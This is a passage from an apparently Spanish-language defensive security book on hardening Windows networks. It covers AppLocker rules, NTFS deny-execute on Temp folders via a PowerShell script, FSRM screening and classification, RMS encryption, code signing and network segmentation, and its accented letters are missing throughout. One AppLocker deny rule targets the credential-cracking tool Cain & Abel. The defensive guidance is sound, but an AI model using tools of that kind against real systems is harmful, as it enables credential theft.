disponga de permisos en su equipo. La pregunta, por lo tanto es: debe definir una lista de aplicaciones
bloqueadas o debe definir una lista de aplicaciones autorizadas?

Esta eleccin no es sencilla. Bloquear una aplicacin tras otra puede ser complicado, sobre todo si el usuario
puede crear carpetas en casi cualquier lugar de su equipo. Pero resulta ser la solucin ms sencilla para
asegurar un buen funcionamiento del puesto de trabajo.

En el otro lado, autorizar nicamente una lista de aplicaciones le obliga a probar de forma precisa las
aplicaciones utilizadas para que todo funcione perfectamente. Sin embargo, una vez construida la base, solo
tendr que aadir reglas para las nuevas aplicaciones que se han de instalar. Segn como haya creado las
reglas, puede, adems, dejar que el usuario haga las actualizaciones de sus aplicaciones sin tener que volver a
crear una nueva excepcin.

En cualquier caso, este tipo de configuracin necesita planificarse y estudiarse antes de cualquier
implementacin en produccin.

b. Bloquear una aplicacin

Para impedir la instalacin o la ejecucin de una aplicacin, basta con crear una nueva regla de bloqueo.

Esta regla puede apoyarse en tres principios:

Editor, para las aplicaciones firmadas por el creador.


Ruta, para todas las aplicaciones de una carpeta.
Hash de fichero, para un fichero en particular.

Para bloquear una aplicacin especfica, utilice una regla de tipo Editor si la aplicacin est firmada, lo que le
permitir bloquear tambin las posibles actualizaciones.
Cree una nueva directiva de grupo: Configuracin del equipo - Parmetros de Windows - Parmetros de
seguridad - Estrategia de control de aplicacin - AppLocker - Reglas del ejecutable.
Cree una regla.
Elija Rechazar, Siguiente y despus el tipo Resumen del fichero. Pulse en Siguiente.
Indique el directorio de Cain & Abel, C:\Program Files (x86)\Cain.
Haga clic en Crear.
No acepte la creacin de reglas por defecto.

Una vez la poltica de grupo aplicada en los equipos, ya no ser posible usar Cain & Abel. Puede aplicar este tipo
de reglas para todas las aplicaciones peligrosas que hemos visto en este libro. Sin embargo, tambin ha visto
cmo crear sus propias herramientas de hacking. Por lo tanto, la guerra de esta forma est perdida de
antemano.

c. Bloquear las aplicaciones en los medios removibles

Si un usuario no puede arrancar una aplicacin desde sus ficheros temporales y su escritorio, es posible que lo
intente desde un CD o una llave USB. Dispone de los medios para bloquear esto.

Para impedir la ejecucin de aplicaciones desde un medio removible como un disco USB, aada una regla de tipo
Ruta indicando el directorio con la variable %HOT%. Para impedir la ejecucin de una aplicacin desde un
CD/DVD, cree una regla de tipo Ruta con el valor %REMOVABLE%.

Cree una nueva poltica de grupo: Configuracin del equipo - Parmetros de Windows - Parmetros de
seguridad - Estrategia de control de la aplicacin - AppLocker - Reglas de ejecutables.
Cree una nueva regla de bloqueo.
Elija como tipo Ruta de acceso.
Escriba %HOT%.
D un nombre y pulse Crear.

Una vez aplicada, la poltica bloquear el arranque de aplicaciones desde una llave USB o un CD/DVD.

d. Estrategia de bloqueo de aplicaciones

Para bloquear las aplicaciones eficazmente, no existen muchas soluciones. En un primer momento, debe limitar
las posibilidades de los usuarios. Para ello, haga que el usuario no sea y no pueda ser administrador en su
puesto de trabajo. Despus autorice solamente a los administradores para que puedan instalar aplicaciones.
Bloquee todas las rutas que no sean los directorios y subdirectorios de Windows y de Program Files.

Para poner en marcha esta estrategia para usuarios no administradores:

Cree una nueva poltica de grupo: Configuracin del equipo - Parmetros de Windows - Parmetros de
seguridad - Estrategia de control de la aplicacin - AppLocker - Reglas de ejecutables.
Haga clic en Crear reglas por defecto.
Cree despus una nueva regla de bloqueo.
Indique como directorio *.
Aada las expresiones %WINDIR%\* y %PROGRAMFILES%\*.
D un nombre y pulse en Crear.
Aplique el mismo principio con reglas para los ficheros MSI y de scripts. Si firma sus scripts, podr mejorar sus
ejecuciones creando una regla de editor.

Una vez aplicada la poltica, los programas presentes en Program Files y en el directorio de Windows
arrancarn con normalidad. Todas las dems aplicaciones no podrn arrancar si un usuario no administrador las
ejecuta. Los directorios temporales, el escritorio, etc., ya no sern considerados directorios peligrosos.

Acurdese de crear escenarios de prueba para verificar que las aplicaciones profesionales siguen
funcionando.

8. La gestin de los ficheros y de los permisos

Los ficheros son en general el lugar privilegiado para almacenar informaciones profesionales importantes. Las
carpetas compartidas, los directorios y los documentos estn, por lo tanto, en primera lnea del frente cuando un
ataque tiene por fin recabar informaciones.

a. Los grupos de seguridad

Al atribuir permisos a un servicio o a una carpeta, es importante no indicar un usuario directamente, sino
siempre trabajar con un grupo de seguridad. Existen tres en Active Directory: los grupos de dominio local, los
grupos globales y los grupos universales. Como buena prctica, se deben utilizar los grupos de la manera que
sigue:

Empiece por crear grupos globales con una orientacin profesional y asigne las personas. Por ejemplo, puede crear
el grupo GG-Vendedores y asignarle a Antonio, Jos y Manuel.
Despus cree los grupos de tipo Dominio local, donde asignar los recursos. Por ejemplo, para una carpeta
compartida con nombre Ventas, cree los grupos DL-Ventas-L y DL-Ventas-E. Despus asigne los permisos de
lectura a la carpeta DL-Ventas-L y los permisos de lectura y escritura a la carpeta DL-Ventas-E.
Solo queda asignar el grupo GG-Vendedores como miembro del grupo DL-Ventas-E para que los vendedores tengan
acceso a su carpeta con permisos de escritura. Si considera que los servicios al cliente necesitan un acceso de
lectura a la carpeta Ventas, basta con asignar el grupo GG-ServiciosCliente a los miembros del grupo DL-Ventas-L.

En la medida en que trabaje de esta manera, podr cambiar los que tengan acceso a un directorio desde la
consola de Active Directory sin tener que acceder a la carpeta o al recurso. Cuando llegue un nuevo empleado,
le bastar con asignarlo al grupo global que le convenga para darle acceso a los recursos que necesite.
Acurdese de usar signos distintivos entre los distintos grupos y sus roles. Por ejemplo, para un grupo de
dominio local, puede utilizar como prefijo el nombre del grupo DL, y para un grupo global use GG. Para
definir si un grupo tendr permiso de escritura, utilice como sufijo del grupo E. Obtendr nombres de grupo
del estilo DL-NombreGrupo-E.

Los grupos universales solo sirven en la medida en que disponga de varios bosques y dominios en Active
Directory. Podr utilizar entonces un grupo universal U-Vendedores que agrupar los grupos locales de
vendedores de diferentes dominios y bosques. La atribucin de permisos en una carpeta se realizar siempre
con un grupo de dominio local. Solo tendr que aadir el grupo universal en el grupo de dominio local que define
los permisos esperados.

b. Las carpetas temporales o Temp

Las carpetas temporales pueden ser peligrosas. Son utilizadas por los sistemas operativos, por ejemplo, cuando
se descomprime un fichero zip o cuando abrimos un fichero directamente desde Outlook. El peligro no viene
realmente de la escritura de un fichero en la carpeta, sino de su ejecucin. Por lo tanto, en la medida de lo
posible, debe impedir la ejecucin de aplicaciones en las carpetas temporales.

Cuidado! Una aplicacin usada para tareas profesionales podra tambin utilizar las carpetas temporales.
Conviene, por lo tanto, probar correctamente el funcionamiento de sus aplicaciones con una restriccin como
la expuesta.

Para bloquear el arranque de un programa desde este sitio, basta con prohibir la ejecucin con los permisos
NTFS. Para ello, el permiso especial siguiente debe configurarse en la raz de la carpeta temporal del usuario:
Para eliminar el permiso de forma centralizada, en algunos usuarios, existe la posibilidad de crear un script con
PowerShell con el comando Set-Acl, y usar una poltica de grupo aplicada a nivel del usuario para su despliegue.

El siguiente script buscar las informaciones del usuario, como el emplazamiento de su carpeta temporal, el
dominio y el nombre de usuario para despus modificar sus permisos en la carpeta temporal:

$TEMP = Get-ChildItem env:temp

$DOMAIN = Get-ChildItem env:userdomain

$USERNAME= Get-ChildItem env:username

$USER = $DOMAIN.Value + \ + $USERNAME.Value

$ACL = Get-Acl $TEMP.Value

$TIPOOBJETO =

[System.Security.AccessControl.InheritanceFlags]::ObjectInherit

$PROPAGACION =

[System.Security.AccessControl.PropagationFlags]::InheritOnly

$PERMISOS =

"$USER","ExecuteFile","$TIPOOBJETO","$PROPAGACION","Deny"

$REGLA= New-Object

System.Security.AccessControl.FileSystemAccessRule $PERMISOS

$ACL.SetAccessRule($REGLA)

$ACL | Set-Acl $TEMP.Value

Una vez ejecutado el script, el usuario no podr ejecutar aplicaciones en su carpeta temporal. Esto le proteger,
por lo menos en parte, de las aplicaciones trampa.

Para aplicar esta regla a todos los usuarios sin distincin, puede simplificar la configuracin usando una poltica
de grupo que modifique los permisos NTFS directamente para el grupo Users.

En una directiva de grupo, cree una regla del tipo File System sobre los directorios%UserProfile%
\AppData\Local\Temp.
Defina los permisos Denegar - Solo archivos para el grupo Users.
En este caso, los administradores tambin se vern afectados por el bloqueo.

c. La comparticin de ficheros

En un entorno Windows, es muy sencillo compartir una carpeta con objeto de dar a los usuarios el acceso a los
documentos necesarios para realizar sus funciones dentro de la empresa. Sin embargo, no es raro ver carpetas
que tengan asignados ms permisos de los necesarios.

Los permisos de una carpeta compartida se dividen en dos partes: la primera hace referencia a los permisos de
comparticin. Es frecuente ver el grupo Todo el mundo con permisos de Control Total.

Con respecto a esta asignacin de permisos se le plantean dos preguntas:

Todo el mundo debe acceder a esta carpeta compartida o solamente las personas de un departamento
determinado?
Es necesario el control total, o con asignar permisos de modificacin o lectura sera suficiente (aqu se
trata siempre de permisos de comparticin)?

En efecto: en la mayora de los casos, el permiso de modificacin basta para autorizar el 99,9% de los usuarios.
La nica diferencia es que con el control total todos los usuarios pueden modificar tambin los permisos de la
carpeta.

La segunda parte de los permisos de una carpeta compartida son los de NTFS. Aqu, se le plantea otra pregunta:
necesita el usuario del permiso de ejecucin en esta carpeta?

Por defecto, cuando un usuario abre una carpeta compartida, ver todas las carpetas incluidas a las que no tiene
acceso. Para impedir que todos vean estas carpetas, puede, desde la consola de gestin de las carpetas
compartidas, activar la funcin ABE (Access-based enumeration). El usuario solo ver, en la carpeta compartida,
las carpetas a las que puede acceder.

Para configurar ABE, vaya a la consola de gestin de ficheros y carpetas compartidas. Haga clic en Share y vaya a
las propiedades de la carpeta com-partida.

El usuario solo ver entonces las carpetas a las cuales tiene permiso para acceder.
d. La gestin de ficheros con FSRM

FSRM (File Server Resource Manager) es una herramienta disponible desde Windows 2003 R2. Este componente
hace posible una mejor gestin del contenido de los servidores de ficheros. Permite, entre otras cosas, filtrar lo
que contendr una carpeta, la creacin de cuotas por usuario y por carpeta o tambin el anlisis por tipo de
documento para todo un disco o solo una carpeta determinada. Permite aadir acciones cuando un usuario
infringe una regla definida.

Para instalarlo, aada el rol File Server Resource Manager en la gestin de ficheros.

Una vez instalado el rol, puede usarlo directamente en la gestin de ficheros y carpetas compartidas en
Windows Server 2012 para aplicar cuotas de disco, pero para el resto de las configuraciones debe usar una
consola dedicada.

Abra la consola FSRM y acceda al men Accin - Configurar Opciones y, desde all, configure los parmetros del
servidor SMTP para el envo de correos electrnicos de aviso en la pestaaNotificaciones de correo elec-trnico,
las carpetas para el almacenamiento de los informes en la pestaa Ubicaciones de informes y la planificacin de
la clasificacin en la pestaa Clasificacin automtica.

Una vez definida esta configuracin, podr activar el filtrado de ficheros, as como la auditora de los ficheros
presentes en las carpetas.
Cuando crea un nuevo filtro, este se basa en un modelo. Este ltimo utiliza grupos de ficheros que debe
bloquear. Todo esto es configurable mediante la consola de administracin.

Para aadir un filtro, acceda al men Crear filtro de archivo, dele la ruta del directorio que debe vigilar, marque
la opcin Definir propiedades personalizadas del filtro de archivos y pulse el botn Propiedades
personalizadas.
Elija el modo pasivo, as como el tipo de fichero ejecutable.
En la segunda pestaa, indique su direccin de correo electrnico, as como el texto que desea recibir en caso de
que un usuario infrinja la regla.
En la pestaa siguiente, puede configurar el almacenamiento del evento en los logs de Windows.

Pulse el botn Aceptar y guarde el cambio como un modelo. Podr reutilizarlo para otro directorio.

Una vez realizado el cambio, en cuanto un usuario copie un fichero con una extensin Exe en el directorio,
recibir un correo electrnico que le indicar quin lo ha hecho y cundo.

El modo activo, en relacin con el pasivo, bloquea al usuario al aadir el fichero. El problema es que solo le
basta con cambiar la extensin para que pueda copiar el fichero. Por lo tanto, es mejor no avisarle
directamente para as vigilar su comportamiento de una forma un poco ms indirecta.

En la siguiente imagen, se puede ver un ejemplo de un evento de Windows al aadir un fichero ejecutable en el
directorio.
Con este mtodo, es bastante sencillo vigilar las posibles tendencias peligrosas de un usuario en un servidor de
ficheros. Puede, si as lo desea, usar la pestaa Command para definir un script de borrado cuando se detecta
un fichero prohibido.

e. La clasificacin de ficheros

En Windows Server 2012, podr definir como aplicacin o ficheros de usuarios, el tipo de una carpeta
compartida al configurarla. Podr tambin, con la ayuda de la consola FSRM, aadir propiedades de los ficheros
y los directorios contenidos en un directorio especfico. El objetivo de esta clasificacin es definir lo que es
importante y sobre todo definir despus las acciones, como el borrado, el archivado o el cifrado de estos ficheros
clasificados.

Para configurar el tipo de carpeta compartida, abra la consola de gestin de ficheros y carpetas compartidas (desde
la consola de gestin del servidor). Vaya a las propiedades de las carpetas compartidas.

Puede definir tambin una direccin de correo, que ser utilizada por FSRM si activa la opcin de peticin de
asistencia. Dicha opcin permite a un usuario solicitar acceso por correo electrnico cuando no tiene acceso a
una carpeta compartida.
Antes de poder aadir un regla de clasificacin, debe definir propiedades, tambin llamadas metadatos.

Para ello, vaya al men Classification Management - Classification Properties y, desde el men de la
izquierda, pulse Create Local Classification Property.
Podr elegir entre varios tipos de propiedades:

S/No

Una fecha/hora

Un nmero

Eleccin mltiple (entre varias opciones)

Eleccin sencilla (entre varias opciones)

Una lista de valores clasificados

Una lnea de texto

Varias lneas de texto

En nuestro caso, vamos a escoger, para el ejemplo, Eleccin sencilla.

D un nombre en el campo Name y elija Single Choice. Aada tres valores y sus descripciones. Por
ejemplo, Confidencial, Interno, Pblico.

Una vez la propiedad definida, debe aplicar la propiedad Confidencial a los documentos confidenciales y as
para las dems clasificaciones. Para ello, debe haber definido ya a qu clasificacin pertenece cada documento
usando el procedimiento explicado en el captulo La gestin de los sistemas de informacin.

Las propiedades son compatibles con SharePoint 2012/2013. Puede copiar un documento as etiquetado en
una carpeta compartida por SharePoint. Ser reconocido con sus propiedades si estas se encuentran
configuradas en el servidor.

Desde un punto de vista tcnico, crearemos una regla que aplicar la propiedad confidencial a todos los ficheros
que contengan la palabra contrato.

Para ello, acceda al men Reglas de clasificacin - Crear regla de clasificacin.


D un nombre a la regla y, en la segunda pestaa, d la ruta de las carpetas, as como el tipo de carpeta
compartida que hay que analizar.
En la pestaa Clasificacin, elija Content Classifier (Classification por contenido) y pulse el botnConfigurar.

La ventana que aparece permite definir reglas para detectar los ficheros que se deben clasificar. Cada regla debe
dar un resultado de verdadero para que el fichero sea clasificado.

Elija el tipo Cadena y como expresin, contrato.

Ahora debe activar la deteccin para clasificar sus documentos en el men Reglas de clasificacin - Ejecutar
clasificacin con todas las reglas ahora....

Cuando un fichero contiene la palabra contrato, con minsculas o maysculas, un informe mostrar los
nombres de estos ficheros. En el mismo fichero, la propiedad se definir automticamente.
Tambin puede definir estas propiedades manualmente, pero no resulta eficaz. Los usuarios de sus equipos ya
tienen muchas tareas por hacer y deben concentrarse en sus funciones. No les gusta, en general, tener que
aadir propiedades a sus documentos. Esta herramienta realiza tareas de gestin por ellos mucho mejor de lo
que ellos lo podran hacer, siempre y cuando las reglas de clasificacin estn bien definidas.

Para clasificar un fichero de Microsoft Office, debe instalar Microsoft Office Filter Pack en el servidor de ficheros.
Puede clasificar tambin los ficheros de imagen con la ayuda de un OCR instalando la funcin Windows TIFF
IFilter en el servidor. Se pueden clasificar los ficheros PDF usando un ifilter compatible que hay que buscar en el
sitio web de Adobe.

Un ifilter es un mdulo usado por Microsoft para poder reconocer e indexar el texto incluido en ciertos tipos
de ficheros. Sin estos aadidos, Windows no podr reconocer automticamente el texto de una imagen o de
un fichero PDF, aunque este pueda leerse y seleccionarse abriendo el fichero.

La planificacin de la clasificacin debe activarse en las opciones principales para que los ficheros aadidos
sucesivamente sean detectados y clasificados de forma automtica.

f. Microsoft RMS (Rights Management Services)

Como habr observado en este libro, no es fcil proteger un fichero contra el robo, sobre todo si la persona que
lo roba es un empleado de nuestra empresa. Para paliar este problema, Microsoft propone una funcionalidad
llamada RMS (Rights Management Services). Este rol permite cifrar un documento y bloquear funciones como
imprimir, adjuntarlo en un correo electrnico, editarlo o simplemente abrirlo. Para la apertura del documento as
protegido, el usuario necesita conectarse al servidor RMS para obtener permisos temporales. Estos pueden ser
revocados en cualquier momento. El fichero est siempre cifrado, aunque se enve por correo electrnico, se
copie en una particin FAT32 o se enve a un servidor web, no como con EFS. Por lo tanto, un fichero as cifrado
que fuese objeto de robo solo podr ser abierto por las personas realmente autorizadas.

Antes de empezar, aada un nuevo usuario en el dominio que usaremos para crear las reglas en el RMS. El usuario
no debe pertenecer a ningn grupo en particular.
Siendo RMS un rol, basta con aadir Active Directory Rights Management Services a uno de nuestros
servidores.

La configuracin necesita seguir la instalacin del rol despus del reinicio.

Cree un nuevo clster.


Configure la ruta de la base de datos que se ha de utilizar o elija instalar Windows Internal Database si solo
instala un servidor RMS.
Indique el nombre y la contrasea del usuario RMS creado antes de la instalacin.
Haga clic dos veces en Next hasta la definicin de la contrasea del clster RMS.
Pulse de nuevo Next hasta la definicin de la direccin web.
Pulse Next hasta el final.

La instalacin no es muy compleja. Sin embargo, asegrese de cuidar muy bien (backup, snapshots, etc.) este
servidor. No podr abrir sus ficheros si este no estuviese disponible.

Ahora queda configurar las reglas de seguridad que deseamos proponer.

Abra una sesin en el servidor con el usuario RMS que ha creado y configurado en la instalacin.
Abra la consola de gestin de RMS y conctese a la direccin definida en la instalacin.
Acceda al men Rights Policy Templates - Create Distributed Rights Policy Template.
Aada un modelo en espaol, d un nombre y una descripcin.
Defina las personas que tendrn necesidad de acceso a los ficheros confidenciales y los permisos de acceso.

RMS se basa en las direcciones de correo electrnico de los usuarios. Deben, por lo tanto, configurarse en el
Active Directory y esto aunque no utilice Microsoft Exchange.

No indique una fecha de expiracin.


Active la posibilidad de ver el contenido desde un navegador.
Active la solicitud de un nuevo certificado en cada inicio.

Finalice la configuracin.

Ahora queda automatizar la proteccin de los ficheros confidenciales. Para ello basta con usar la clasificacin de
ficheros de FSRM y aadirle una accin de gestin. Imagine que los ficheros ya estn clasificados, como hemos
visto en el apartado anterior; solo queda automatizar el cifrado.

Para ello, abra la consola FSRM y acceda al men Create File Management Task.
D un nombre y vaya a la pestaa siguiente para definir la ruta y, si es preciso, el tipo de carpeta compartida.
En Actions, elija la accin RMS encryption y el modelo Confidencial.
En Condition, aada la propiedad creada al configurar la clasificacin.
Acceda a la pestaa siguiente para planificar el cifrado de documentos.
Pulse OK.
Haga clic con el botn derecho del ratn en la tarea para arrancarla inmediatamente.

Una vez la tarea terminada, el documento se cifrar con las reglas configuradas en el servidor RMS. Si un
usuario no autorizado roba este documento, no podr abrirlo. Si un usuario con permisos para mostrar el
contenido copia el documento, ya no podr abrirlo fuera de la empresa si el servidor RMS no se publica.
Adems, no podr abrirlo si su cuenta es desactivada en Active Directory. El objetivo de este sistema es limitar
los accesos no autorizados a los documentos importantes.

9. Firmar las macros VBA y los scripts PowerShell

Las macros y los scripts PowerShell pueden ser muy peligrosos cuando no se utilizan para ayudar al usuario. Un
buen medio para reducir el riesgo de fraude al usar un documento con scripts o un script PowerShell es firmarlos
con un certificado. Cada modificacin realizada por una persona que no sea capaz de firmar el fichero inutilizar
este ltimo.

a. Solicitar un certificado

Una vez instalada y configurada la autoridad de certificacin, puede solicitar un certificado del tipo Code Signing
(Firma de cdigo). Este modelo debe haber sido activado en la autoridad de certificacin para que se pueda
solicitar un certificado.

Abra la consola MMC.exe y aada el componente Certificados.


Elija el almacn de usuario.
Acceda a la carpeta Personal y cree una nueva solicitud de certificado por el men Acciones.
Pulse en Siguiente.
Elija el modelo de tipo firma de cdigo.
Finalice la solicitud.
Ahora dispone de un nuevo certificado de firma de cdigo a su nombre en su almacn de certificados personales.
Puede abrirlo para ver sus propiedades.

b. Firmar una macro VBA

Con el fin de garantizar que las macros VBA no sean peligrosas, tiene que hacer validar el cdigo fuente por un
desarrollador de confianza y firmar el cdigo usando el certificado. Despus autorice nicamente, en la
configuracin de Office, la ejecucin de macros firmadas.

Para firmar una macro, acceda a la pestaa Programador.


Pulse en el botn Visual Basic.
En la nueva ventana, en el men Herramientas - Firma electrnica....
Elija el certificado de firma de cdigo y haga clic en Aceptar.
Guarde la macro y el documento.

El cdigo est ahora firmado y un poco ms protegido.

c. Firmar un script PowerShell

Para firmar un script PowerShell, igual que para la firma de cdigo VBA, debe disponer de un certificado de firma
de cdigo reconocido por los sistemas operativos que ejecutarn su script. Cuando haya finalizado las pruebas
de sus scripts, podr firmarlos con el fin de autorizar solamente los scripts Power-Shell firmados.

Para ver los certificados de firma de cdigo a su disposicin:

Get-ChildItem cert:\CurrentUser\My -codesign

La salida muestra el certificado o los certificados capaces de firmar cdigo:

Directorio : Microsoft.PowerShell.Security\Certificate::CurrentUser\My

Thumbprint Subject

---------- -------

90C856875331881F1F97E9DBE8C8636CE8B79FDA CN=Administrator,

CN=Users, DC=test, DC=local

Para firmar el cdigo, utilice set-authenticodeSignature usando como parmetro el certificado de firma
de cdigo que le interese.

Set-AuthenticodeSignature c:\temp\script.ps1 @(Get-ChildItem

cert:\CurrentUser\My -codesigning)[0]
Entonces se firmar el cdigo:

Directorio : C:\temp

SignerCertificate Status Path

----------------- ------ ----

90C856875331881F1F97E9DBE8C8636CE8B79FDA Valid script.ps1

La firma aparece en texto plano en el cdigo fuente del script:

Si
Get-ChildItem c:\

# SIG # Begin signature block

# MIIIPwYJKoZIhvcNAQcCoIIIMCCCwCAQExCzAJBgUrDgMCGgUAMGkGCisGAQQB

# jcCAQSgWzBZMDQGCisGAQQBgjcCAR4wJgIDAQAABBAfzDtgWUsITrck0sYpfvNR

# gEAAgEAAgEAAgEAAgEAMCEwCQYFKw4DAhoFAAQUX39TDHu2EGra9oFuWdA4diRV

# JWgggWgMIIFnDCCBISgAwIBAgITHAAAAAoN+MaMc5TBWQAAAAAACjANBgkqhkiG

# w0BAQUFADBRMRUwEwYKCZImiZPyLGQBGRYFbG9jYWwxFjAUBgoJkiaJk/IsZAEZ

# gZLYXBmZXIxIDAeBgNVBAMTF1NlY3VyaXR5IEZvbmRhdGlvbiAtIENBMB4XDTEz

........

........

# gPSrDNvwp1E37HWYro8tg5zDeSVH82Pc52Mfe2OxJl3QmjSq2KgtyFpNqTLryMF

# CZuo

# SIG # End signature block

un usuario modifica el script, la firma ya no ser vlida.

d. Autorizar la ejecucin de objetos firmados

Para garantizar que PowerShell solo ejecuta los scripts firmados, debe indicar los parmetros adecuados. Por
defecto, el modo es Restricted, que no autoriza la ejecucin de scripts. Sin embargo, la mayora de los
administradores cambian este modo para poder utilizar ficheros de script y pasan PowerShell al modo
Unrestricted, que autoriza la libre utilizacin de ficheros de script PowerShell sin seguridad alguna. Para
garantizar la no modificacin de scripts distribuidos, solo dejaremos, despus de firmar el cdigo, que se
ejecuten los scripts firmados.
Modifique la seguridad de PowerShell de la siguiente manera:

Set-ExecutionPolicy AllSigned

De este modo, sus ficheros de script quedarn protegidos contra la modificacin.

La ejecucin de PowerShell con un comando como parmetro (por ejemplo, powershell.exe "get-
childitem"), funcionar siempre con o sin firma; no se considera un script, sino un comando directo.

Una macro VBA en un documento es tan potente como un ejecutable. Es muy importante tener conciencia de
ello. Esto significa que una macro puede, entre otras cosas, modificar las cuentas de usuarios locales o de
dominio, modificar el registro, crear, modificar, copiar o eliminar ficheros, conectarse a la red, a Internet...
Algunos departamentos, como el financiero, son entusiastas de este tipo de herramientas. Conviene, por lo
tanto, dejar que los usuarios utilicen las macros, pero con ciertas precauciones.

Con objeto de garantizar la seguridad de los usuarios, puede definir una poltica de grupo para autorizar
solamente macros de Office firmadas. Debe para ello descargar e instalar los ficheros ADM que le permiten
configurar Microsoft Office a travs de las polticas de grupo.

Encontrar los ficheros necesarios, as como otras herramientas para la gestin y configuracin de Microsoft
Office, en el sitio web de Microsoft: http://www.microsoft.com/en-us/download/details.aspx?id=35554

Instale los ficheros ADMX y despus:

Abra el editor de polticas de grupo y cree una nueva GPO.


Acceda a Configuracin de usuario - Modelos de administracin.
Despus vaya al programa que desea configurar, por ejemplo Microsoft Word 2013 - Opciones de Word -
Seguridad - Centro de confianza.
Active la opcin Parmetros de notificacin de macro VBA con la propiedad Desactivar todo excepto las
macros firmadas.

El usuario final solo ser avisado cuando una macro est firmada; si no la macro no se ejecutar y el usuario no
ser avisado, lo que garantiza una buena seguridad permitiendo la ejecucin de macros.

10. Herramientas de auditora y de seguridad de Microsoft

Microsoft realiza enormes esfuerzos para garantizar la seguridad de sus sistemas operativos. Sin embargo, uno de
los riesgos ms importantes en un entorno Windows, ya no son los fallos de seguridad de servidores o de equipos
de trabajo, sino la configuracin. A veces es increble ver cuentas de usuarios en el grupo de administradores para
simplificar el uso de un programa o la gestin de un parque informtico, o, ms comnmente, ver cuentas de
prueba olvidadas en un servidor o tambin una cuenta SA sin contrasea fuerte en una base de datos SQL.
La cuenta SA en un servidor SQL representa lo mismo que la cuenta administrador en un PC. Permite
modificarlo todo en una instancia o un servidor SQL.

a. Herramientas de auditora

Siguiendo las buenas prcticas recomendadas por Microsoft y teniendo sus sistemas actualizados, el riesgo
disminuye en gran medida. Es por eso por lo que Microsoft pone a su disposicin una herramienta potente de
anlisis de sistemas. Esta herramienta es capaz de ver los principales problemas de configuracin y actualizacin
ligados con la seguridad de los sistemas, pero tambin de las aplicaciones de servidores como Exchange, SQL
Server e IIS y de aplicaciones de usuario, como Microsoft Office.

Puede descargarla en: http://www.microsoft.com/mbsa

El programa se puede utilizar con una interfaz grfica o en lnea de comandos. Es posible, por lo tanto, crear un
script para obtener regular y automticamente informes de seguridad.

Para realizar un anlisis, puede dar un nombre de dominio o una serie de direcciones IP:

Una vez realizado el anlisis, el informe proporciona datos sobre los equipos mal configurados e indicaciones de
cmo corregir el problema detectado.
Otra herramienta permite la auditora de servicios en funcionamiento en un equipo. Se trata de PortQry, que ya
ha sido descrito en el captulo Bsqueda de informacin.

b. Herramientas de seguridad

Microsoft propone tambin una serie de productos de seguridad. Las ltimas versiones de Windows integran
Windows Defender en su versin completa y gratuita, con antivirus y antimalware. Una pequea empresa puede
descargar y usar este programa gratuitamente en todos sus sistemas; y ahora dispone tambin de versin para
servidores. En el caso de una empresa ms grande o compleja, existe la suite Forefront, que permite centralizar
la gestin del antivirus y antimalware, pero tambin permite aumentar la seguridad, ya que existen versiones
para aplicaciones de servidores como Exchange y SharePoint.

Desde principios de 2013, Microsoft propona un servidor proxy y proxy inverso, conocido con el nombre de TMG
o ISA para las versiones ms antiguas. Por desgracia, este producto ya no se comercializa. Queda, para los que
lo desean, un producto similar que sin embargo no recoge todas las funcionalidades de TMG. Se trata de UAG
(Unified Access Gateway).

Microsoft crea numerosas herramientas de gestin de parques informticos, de servidores, de mquinas


virtuales, de despliegue o actualizacin de sistemas operativos como SCOM, SCCM y muchos otros. Se alejan del
objetivo de este libro, ya que son de pago y no se encuentran directamente integrados. Adems, cada uno de
ellos merecera su propio libro.

Otros medios

1. La disociacin

Para reducir las tentativas conseguidas de ataques, puede, en trminos fsicos, separar las redes de los usuarios
de las de los servidores, y por qu no, de las de los servidores an ms importantes. Podr, a travs de esta
separacin, poner en marcha un cortafuegos o reglas de acceso directamente en los repetidores. Acurdese
tambin de poner switchs dedicados si esto aumenta la seguridad.
a. Disociaciones de redes fsicas

Para crear separaciones fsicas, puede trabajar con routers y cortafuegos. El objetivo es impedir que ciertos
equipos o usuarios puedan conectarse a los servicios sensibles, como las cuentas financieras o los documentos
de recursos humanos.

Por lo tanto, en este caso, es importante definir adecuadamente las reglas de enrutamiento y de los cortafuegos,
para garantizar la seguridad, pero tambin para estar seguro de que todas las aplicaciones comunes (Mail, Lync,
carpetas compartidas, intranet, etc.), as como las aplicaciones propias a las funciones de cada uno funcionen
correctamente.

b. Uso de VLAN

Para evitar tener una infraestructura demasiado costosa, no es raro que se use VLAN (Virtual LAN) para proteger
y separar entornos dedicados. Sin embargo, tenga cuidado con el funcionamiento de sus conmutadores si
sufriesen un ataque de tipo flood. En la mayora de los casos, cuando el switch sobrepasa sus lmites, se
transforma en un hub o define todos sus puertos con la VLAN por defecto, generalmente la VLAN 1. Todos los
equipos pueden entonces comunicarse entre ellos sin ninguna restriccin.

Aun con este riesgo, las VLAN son una forma fiable y poco costosa de configurar una separacin de entornos.

Para configurar una VLAN determinada en una mquina virtual Hyper-V, puede crear un nuevo switch con la
VLAN deseada y atribuir sus puertos a las mquinas virtuales en los parmetros de la interfaz de red y atribuirlo
a la mquina virtual en cuestin.

c. Antivirus

Del lado cliente, puede desde ya instalar un nmero de herramientas para protegerse, pero tambin para tener
un informe de la tendencia general de la empresa en cuanto a virus, spyware o tentativas de intrusin. El
mercado est inundado de programas antivirus y de cortafuegos gratuitos. Lo ms duro no es encontrar uno
adecuado, sino conseguir uno que sea fiable, gratuito o no. Windows Defender cubre alrededor del 95% de los
ataques potenciales. Si elije otro producto, asegrese de que le protege como mnimo igual de bien.

Encontrar una prueba comparativa de antivirus en la siguiente pgina: http://www.av-


comparatives.org/dynamic-tests/

Para la empresa, tome tambin en cuenta la facilidad de despliegue y de mantenimiento del producto.

d. Software cortafuegos

Windows integra un programa cortafuegos desde Windows XP SP2, pero fue a partir de Windows Vista cuando
realmente comenz a ser interesante. Permite controlar el trfico entrante y saliente. Adems, gracias a las
polticas de grupo, se pueden configurar las reglas de gestin de forma centralizada. No obstante, puede
encontrar otros productos en el mercado. Muchas veces estn ligados a soluciones de proteccin ms globales
de los endpoints (proteccin de clientes finales), como los antivirus con cortafuegos y la proteccin contra
software malintencionado.
Este tipo de soluciones de software puede, en algunas ocasiones, utilizarse para proteger toda una red actuando
de cortafuegos perimetral. En este caso, deber tener mucho cuidado de verificar la calidad del producto, pero
tambin la seguridad del sistema operativo en el que se encuentra instalado.

e. Cortafuegos fsico

Un cortafuegos fsico es ni ms ni menos que un software instalado en un sistema operativo dedicado y todo ello
con un hardware generalmente dedicado. El hecho de que el sistema operativo y el hardware sean dedicados a
la funcin nica de cortafuegos hace que, en general, el conjunto sea ms fiable y seguro. Tambin es cierto que
